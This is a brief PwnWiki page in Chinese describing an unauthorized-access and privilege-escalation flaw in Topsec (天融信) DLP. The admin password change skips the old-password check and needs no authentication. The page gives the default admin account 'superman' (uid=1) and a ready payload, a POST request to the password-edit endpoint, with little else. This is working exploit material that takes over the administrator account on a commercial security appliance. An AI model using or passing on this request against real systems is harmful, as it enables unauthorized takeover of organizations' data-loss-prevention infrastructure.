天融信DLP 未授權&越權漏洞

From PwnWiki

Revision as of 12:25, 9 April 2021 by Pwnwiki (talk | contribs) (Created page with "==漏洞原理== 管理員登錄系統系統之後修改密碼，未採用原密碼校驗，且存在未授權訪問導致存在越權修改管理員密碼。 ==默認用...")

(diff) ← Older revision | Latest revision (diff) | Newer revision → (diff)

漏洞原理

管理員登錄系統系統之後修改密碼，未採用原密碼校驗，且存在未授權訪問導致存在越權修改管理員密碼。

默認用戶

superman --- uid=1

Payload

POST  /?module-auth_user&action=mod_edit.pwd HTTP/1.1

Retrieved from "https://pwnwiki.com/index.php?title=天融信DLP_未授權%26越權漏洞&oldid=1293"